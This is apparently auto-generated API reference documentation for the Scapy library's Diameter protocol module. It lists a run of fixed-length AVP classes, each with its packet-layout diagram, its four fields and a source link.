class scapy.contrib.diameter.AVP_0_387(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1225-L1230]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_387                          


AVP_0_387 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_392(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1233-L1238]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_392                          


AVP_0_392 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_403(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1241-L1245]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_403                          


AVP_0_403 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_406(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1248-L1253]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_406                          


AVP_0_406 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_416(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1256-L1261]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_416                          


AVP_0_416 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_418(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1264-L1267]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_418                          


AVP_0_418 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_422(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1270-L1274]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_422                          


AVP_0_422 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_426(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1277-L1280]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_426                          


AVP_0_426 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_427(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1283-L1288]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_427                          


AVP_0_427 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_428(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1291-L1295]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_428                          


AVP_0_428 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_433(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1298-L1301]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_433                          


AVP_0_433 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_436(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1304-L1309]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_436                          


AVP_0_436 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_449(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1312-L1315]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_449                          


AVP_0_449 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_45(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L968-L974]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_45                           


AVP_0_45 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_450(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1318-L1332]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_450                          


AVP_0_450 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_452(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1335-L1340]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_452                          


AVP_0_452 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_454(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1343-L1358]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_454                          


AVP_0_454 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_455(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1361-L1366]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_455                          


AVP_0_455 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_459(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1369-L1374]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_459                          


AVP_0_459 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_480(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1377-L1382]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_480                          


AVP_0_480 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_483(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1385-L1390]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_483                          


AVP_0_483 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_494(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1393-L1397]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_494                          


AVP_0_494 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_513(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1400-L1405]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_513                          


AVP_0_513 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
